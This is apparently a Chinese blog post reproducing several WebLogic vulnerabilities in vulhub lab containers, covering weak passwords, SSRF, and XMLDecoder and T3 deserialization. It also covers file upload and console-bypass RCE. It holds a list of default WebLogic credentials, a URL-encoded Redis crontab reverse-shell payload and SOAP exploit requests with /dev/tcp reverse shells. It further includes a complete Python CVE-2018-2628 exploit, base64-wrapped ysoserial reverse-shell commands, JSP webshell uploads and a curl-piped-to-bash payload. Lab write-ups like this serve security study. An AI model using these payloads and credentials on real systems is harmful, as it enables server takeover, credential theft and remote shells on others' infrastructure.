Loading

Weblogic 漏洞复现

Weblogic 介绍

weblogic 是一款基于 javaEE 的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

Weblogic 弱密码

Weblogic 管理后台弱口令密码泄漏,管理员疏忽经常使用一些弱口令或者默认的账号密码,因此存在弱口令爆破的风险。

环境

# # 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec weak_password]# cd /opt/vulhub/weblogic/weak_password
[root@vulnsec weak_password]# docker-compose up -d
[root@vulnsec weak_password]# docker-compose ps 
         Name                 Command        State                                         Ports                                       
---------------------------------------------------------------------------------------------------------------------------------------
weakpassword_weblogic_1   startWebLogic.sh   Up      0.0.0.0:5556->5556/tcp,:::5556->5556/tcp, 0.0.0.0:7001->7001/tcp,:::7001->7001/tcp

漏洞验证(默认口令)

weblogic 默认端口 7001,访问 IP:Port ,可以访问到 weblogic 的默认报错页面。

image-20220513090306261

Weblogic 默认控制台地址:http://192.168.58.20:7001/console/login/LoginForm.jsp

image-20220602101501595

利用默认的口令测试登录weblogic后台管理。

在 weblogic 控制台可能存在弱口令 weblogic常用弱口令

# 常见weblogic默认口令
 - weblogic:Oracle@123
 - weblogic:weblogic
 - system:password
 - mary:password
 - admin:secruity
 - system:secruity
 - wlcsystem:wlcsystem
 - joe:password

image-20220513093458194

漏洞验证(任意文件读取getshell)

前台存在任意文件读取漏洞,在不知道账号密码的情况下,如果存在任意文件读取漏洞,可以通过此漏洞获取 weblogic 加密后的账号密码,再进行破解加密来获取密码。

任意文件下载url:http://your_ip:7001/hello/file.jsp?path=

image-20220513093601778

成功将敏感文件下载了下来。

漏洞利用

weblogic 密 码 使 用AES( 老 版 本 3DES) 加 密 , 对称加密是可解密 , 只 需 要 找 到 用 户 的 密 文 与 加 密 时 的 密 钥 即 可** 。 这 两 个 文 件 均 位 于 base_domain下 , 名 为 SerializedSystemIni.dat 和 config.xml, 在 本 环 境 中 为 ./security/SerializedSystemIni.dat和 ./config/config.xml( 基 于 当 前 目 录 /root/Oracle/Middleware/user_projects/domains/base_domain)。

密文绝对路径: /root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat,相对路径:security/SerializedSystemIni.dat

密钥绝对路径:/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml ,相对路径:config/config.xml

SerializedSystemIni.dat 是 一 个 二 进 制 文 件 , 所 以 一 定 要 用 burpsuite来 读 取 , 用 浏 览 器 直 接 下 载 可 能 引 入 一 些 干 扰 字 符 。 在 burp 里 选 中 读 取 到 的 那 一 串 乱 码 , 右 键 copy to file 就 可 以 保 存 成 一 个 dat 文 件 , 再用 notepad 修改一下即可】

image-20220513101613805

image-20220513101713346

config.xml是 base_domain 的 全 局 配 置 文 件 , 找 到 其 中 的 <node-manager-password-encrypted> 的 值 , 即 为 加 密 后 的 管 理 员 密 码(密文) {AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

image-20220513094932472

image-20220602104920243

利用 提供 的解密工具进行解密。

image-20220513101419511

获得密码之后,再登录 weblogic 的控制台。

image-20220513103008128

后台上传webshell

点击左侧 部署->安装->上传war包->(全部下一步)-> 完成

image-20220513104037199

image-20220513104130200

确定部署成功后会返回访问 shell 文件的根目录路径

image-20220513104443836

连接shell,执行命令

image-20220513104543865

Weblogic CVE-2014-4210

前言

分类详情
CVE编号CVE-2014-4210
漏洞种类SSRF(Server-Side Request Forgery,服务端请求伪造)
影响版本weblogic 10.0.2 – 10.3.6
漏洞url/uddiexplorer/SearchPublicRegistries.jsp

环境

# 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec ssrf]# cd /opt/vulhub/weblogic/ssrf/
[root@vulnsec ssrf]# docker-compose up -d 
[root@vulnsec ssrf]# docker-compose ps
     Name                    Command               State                         Ports                       
-------------------------------------------------------------------------------------------------------------
ssrf_redis_1      /docker-entrypoint.sh redi ...   Up      6379/tcp                                          
ssrf_weblogic_1   startWebLogic.sh                 Up      5556/tcp, 0.0.0.0:7001->7001/tcp,:::7001->7001/tcp

# 访问 http://YourIP:7001

漏洞验证

访问 http://YourIP:7001/uddiexplorer/ 不用登录就可以查看uddiexplorer应用。

image-20220512174600415

ssrf 的漏洞存在于 http://YourIP:7001/uddiexplorer/SearchPublicRegistries.jsp 的位置,可以利用 burpsuite 抓包查看。

image-20220512175250647

将访问的地址改成一个存在的地址:127.0.0.1:7001 如果,端口存在的话就会返回一个 status code ,如果不存在则会返回could not connect over HTTP to server

image-20220512180026462

image-20220512180139676

然后就可以根据这种情况对内网的地址和端口进行探测,确定哪些IP或端口是开放的。

漏洞利用

通过上面的漏洞,在 operator 字段处可以探测内网有哪些ip端口在通着(本地环境就直接上redis了)。

image-20220512222219569

# 查看容器ip
[root@vulnsec ssrf]# docker inspect -f '{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)
/ssrf_weblogic_1 - 172.19.0.3
/ssrf_redis_1 - 172.19.0.2

image-20220512222404821

看响应数据,说明是redis的端口是存在的,这就已经达到了对内网探测的目的,进一步就可以对 redis服务进行攻击了。

# redis 定时任务反弹shell 命令
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/IP/8900 0>&1' \n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

# payload
# Url编码(手动将命令行末尾的 %0a 改成 '%0d%0a',redis 以通过换行符来分隔每条命令)
hacker%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2FIP%2F8900%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Alalala

image-20220512222754771

image-20220512222843998

上面对 payload 进行了 url 编码,但是测试的时候等了 2分钟都没弹回来,后来在最后的位置又加上了一个 “%0D%0Alalala” 之后,大概用了将近40秒shell才反弹回来。

参考文章

weblogic ssrf漏洞[CVE-2014-4210]

Weblogic CVE-2017-10271

前言

Weblogic 的 WLS Security 组 件 对 外 提 供 webservice服 务 , 其 中 使 用 了 XMLDecoder来 解 析 用 户 传 入 的 XML数 据 , 在 解 析 的 过 程 中 出 现 反 序 列 化 漏 洞 , 导 致 可 执 行 任 意 命 令 。

分类详情
CVE编号CVE-2017-10271
漏洞种类‘wls-wsat’ XMLDecoder 反 序 列 化 漏 洞
影响版本10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0
漏洞url/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

环境

# 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec ssrf]# cd /opt/vulhub/weblogic/CVE-2017-10271
[root@vulnsec ssrf]# docker-compose up -d 
[root@vulnsec CVE-2017-10271]# docker ps 
CONTAINER ID   IMAGE                           COMMAND              CREATED         STATUS         PORTS                                                 NAMES
1c1c071eeacc   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   7 seconds ago   Up 4 seconds   5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve201710271_weblogic_1

# 访问 http://YourIP:7001

漏洞验证

手工验证漏洞

# 访问 http://192.168.58.20:7001/wls-wsat/CoordinatorPortType

出现以下界面说明存在 XMLDecoder 反序列化漏洞

image-20220515102647953

访问存在漏洞页面进行抓包,利用网上的poc对漏洞验证

# poc
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

image-20220515103809328

工具验证

项目地址:

image-20220515104944938

image-20220515105000709

验证漏洞的RCE

image-20220515105103254

漏洞利用

利用漏洞写入一个shell文件

# exp
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

访问 shell 文件的位置: http://your-ip:7001/bea_wls_internal/test.jsp

image-20220515104625625

Weblogic CVE-2018-2628

前言

Weblogic反序列化漏洞(CVE-2018-2628),通过该漏洞,攻击者可以在未授权的情况下远程执行代码。攻击者只需要发送精心构造的T3协议数据,就可以获取目标服务器的权限。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。

分类详情
漏洞编号CVE-2018-2628
漏洞种类Weblogic WLS Core Components 反序列化命令执行漏洞
影响版本WebLogic10.3.6.0 、12.1.3.0 、12.2.1.2 、12.2.1.3

环境

漏洞环境使用 vulhub 靶场环境:192.168.58.20,

攻击机和JRMP服务机:192.168.58.29,

shell反弹机器:192.168.57.10。

# 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec opt]# cd /opt/vulhub/weblogic/CVE-2018-2628
[root@vulnsec CVE-2018-2628]# docker-compose up -d 
[root@vulnsec CVE-2018-2628]# docker ps 
CONTAINER ID   IMAGE                           COMMAND              CREATED         STATUS         PORTS                                                 NAMES
1c1c071eeacc   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   7 [root@vulnsec CVE-2018-2628]# docker-compose ps

# 访问 http://YourIP:7001

复现过程

先在本地部署一个 JRMP 服务,利用本地的 JRMP 服务生成 Payload 字符串。

# 部署 JRMP 服务
## 下载 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 包
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

## 启动 JRMP 服务
[root@mysql cve-2018-2628]# java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [JRMPPort] CommonsCollections1 [command]
'[JRMPPort] JRMP 服务的监听端口,[command] 表示要执行的命令'

[root@mysql cve-2018-2628]# java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjI5LzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}'
## shell反弹的管道符不能在java识别,需要 对'bash -i >& /dev/tcp/IP/Port 0>&1'先编码再使用

这里为什么要用到 ysoserial 服务呢,原因是 weblogic 的 T3 服务会对 Object 结构进行解包,然后一步一步解包的过程中请求了 JRMP 服务封装的代码,在本地执行,导致远程代码执行。具体对java不是太熟,没能看懂大佬的方法,只能做下实验,简单理解下漏洞造成的步骤。

PoC 验证

如果只进行PoC验证漏洞存在的话,就不需要对环境进行getshell操作,验证漏洞存在,命令可以执行即可。

**第一步:**开启 JRMP 服务的监听。

# 监听 JRMP 服务
[root@mysql cve-2018-2628]# java -cp java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 JRMPClient2 'touch ~/hack.txt'

image-20220603101802355

**第二步:**利用 JRMP 服务生成一个 Payload 字符串。

# 生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 [JRMPServer:Port] | xxd -p | tr -d $'\n' && echo
[root@mysql cve-2018-2628]# java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 192.168.58.29:1099 | xxd -p | tr -d $'\n' && echo

image-20220603101858316

修改 poc 中的 payload_str ,然后将等待时间调指 5 s,按照实际情况调整等待时间(如果速度快不用调也没关系,有时候响应比较慢,可能就无法验证漏洞)

image-20220603102326415

**第三步:**运行 poc 脚本。

# 运行 PoC
[root@mysql cve-2018-2628]# python2 wsl-cve-2018-2628-poc.py [JRMPServer] [Port]

image-20220603102452962

image-20220603102506504

Exp 利用

**第一步:**先在 一台机器上开启 JRPM 服务。

# 启动 JRPM 监听
[root@mysql cve-2018-2628]# java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjEuOTcuNDAvODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

image-20220602165754325

**第二步:**在反弹的服务器上开启端口的监听,等待exploit执行后反弹shell

# 开启反弹监听
$ nc -lvp 888
Listening on Ksec 888

image-20220602165859581

第三步: 使用 exploit 进行对 weblogic 进行攻击。

# Payload
# -*- coding: utf-8 -*-
# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)
#
# IMPORTANT: Is provided only for educational or information purposes.
#
# Credit: Thanks by Liao Xinxi of NSFOCUS Security Team
# Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
#
# How to exploit:
# 1. run below command on JRMPListener host
#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
#    2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
#       e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
# 2. start a listener on attacker host
#    e.g. nc -nlvp 4040
# 3. run this script on attacker host
#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
#    2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
#       e.g.
#           a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
#           b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')


if __name__=="__main__":
    #check for args, print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
            
[root@mysql cve-2018-2628]# python exploit.py 192.168.58.20 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.58.29 1099 JRMPClient2

image-20220602170101339

image-20220602170159459

image-20220602170116027

本来使用的 子系统的linux 网络连接有问题,没能反弹回来,换了一个同网段的就没问题了。

image-20220602171759981

Weblogic CVE-2018-2894

漏洞概述

Weblogic 开启了 Web Service Test Page(web服务测试页面),这个配置默认在生产模式下是不开启的,由于管理员没注意开启了这个页面就可能造成任意文件上传。

分类详情
漏洞编号CVE-2018-2894
漏洞种类任意文件上传
影响版本weblogic 10.3.6、12.1.3、12.2.4、12.2.1.3
漏洞urlhttp://your-ip:7001/ws_utc/config.do

环境搭建

# 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec opt]# cd /opt/vulhub/weblogic/CVE-2018-2894

## 启动环境
[root@vulnsec CVE-2018-2894]# docker-compose up -d
Creating network "cve20182894_default" with the default driver
Creating cve20182894_weblogic_1 ... done
[root@vulnsec CVE-2018-2894]# docker-compose ps 
         Name                       Command               State                    Ports                  
----------------------------------------------------------------------------------------------------------
cve20182894_weblogic_1   /u01/oracle/createAndStart ...   Up      0.0.0.0:7001->7001/tcp,:::7001->7001/tcp

## 查看weblogic管理员密码(需要在管理后台开启 web service test page)
[root@vulnsec CVE-2018-2894]# docker-compose logs | grep password
weblogic_1  |       ----> 'weblogic' admin password: w6nL6IyJ
weblogic_1  | admin password  : [w6nL6IyJ]
weblogic_1  | *  password assigned to an admin-level user.  For *
# 访问 http://YourIP:7001

登录后台管理,开启 Web Service Test Page 。[ 登录 --> base-domain -->高级 --> 开启 web测试页 --> 保存 ]

image-20220602221241662

image-20220602221300951

image-20220602221314741

复现过程

先打开漏洞页面,漏洞页面是一个未经授权的文件上传页面(第一次打开环境需要部署一下)。

image-20220602221730194

image-20220602221741319

根据网上看到的wp说需要更改下工作目录,将当前工作目录修改成:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

原因是因为这个目录不需要权限就可以访问。

image-20220602222152755

点击 添加 然后上传一个 jsp 的大马(当然这些我不会写~)。

image-20220602223245106

访问木马的地址是:http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]

时间戳可以在页面源码中找到,也可以使用burp抓包看。

image-20220602223750055

上传的小马,用冰蝎或其他工具就可以连接,也可以直接在页面执行命令,维权的话就另说。

image-20220602225441756

命令成功执行了。

Weblogic CVE-2020-14882/14883

前言

cve-2020-14882(代码执行漏洞) ,在打完补丁后又出现了补丁被绕过的漏洞 cve-2020-14883(权限绕过漏洞),远程攻击者可以配合这两个漏洞构造特殊的HTTP请求,在未经身份认证的情况下接管 Weblogic Server Console,在控制台中执行任意代码。

分类详情
cve编号cve-2020-14882
漏洞种类代码执行漏洞
影响版本Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
分类详情
cve编号cve-2020-14883
漏洞种类权限绕过漏洞
影响版本Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

环境

# 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec opt]# /opt/vulhub-master/weblogic/CVE-2020-14882
[root@vulnsec CVE-2020-14882]# docker-compose up -d
[root@vulnsec CVE-2020-14882]# docker-compose ps 
         Name                        Command               State                    Ports                  
-----------------------------------------------------------------------------------------------------------
cve202014882_weblogic_1   /u01/oracle/createAndStart ...   Up      0.0.0.0:7001->7001/tcp,:::7001->7001/tcp


# 访问 http://ip:7001/

PoC 验证

访问/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=JmsSAFAgentSAFAgentTablePage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29。可以发现不需要登录后台就可以直接访问

image-20220603161824224

漏洞主要在 handle 参数,这个参数是传入java代码执行。(本来用 dnslog 验证的,发现验证没有反应,后来到容器中看了一下,下面就是原因)

# PoC
GET  /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping%206sto77.dnslog.cn%27);%22);

image-20220603164105193

靶场环境中没有 ping 命令,可以换一种验证方法,比如用 touch 命令或者其他命令,我这里使用 python3 启动了一个简易的 http 服务,这样命令如果执行成功,我这边也可以直接看到,不需要到漏洞环境中去验证(如果是实战环境,是没办法去看是否执行成功的)。

# requeste
## 注意:Cookie 值是必须要有的,访问console抓个包就行。
GET  /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27curl%20-v%20http://IP:Port/index.html%27);%22); HTTP/1.1
Host: 192.168.10.10:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: http://192.168.10.10:7001/console
Cookie: ADMINCONSOLESESSION=P8wom0qoRI2KHAUMeeHPLe67eaQZ8rfITEjcresISbrKpgjITPhr!1534103033
Connection: close

image-20220603161155123

image-20220603172300578

第一次发送的时候有 302 重定向,点击 Follow redirection 跟随重定向,页面会出现404报错,但是命令是执行成功的

image-20220603172653038

image-20220603172721797

漏洞利用

反弹一个shell利用一下这个漏洞。将反弹shell的命令写在一个http服务下的文件上,使用 靶机上的 curl 命令读取文件内容再管道给bash执行命令。

image-20220603181828994

image-20220603181952753

# payload
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20IP:Port/bounce_shell.html|bash');")

不知道什么原因,这个方法没能反弹成功,本地执行是没有问题的。

image-20220603184006115

image-20220603184029988

posted @ 2022-08-13 10:38  knsec  阅读(725)  评论(0编辑  收藏  举报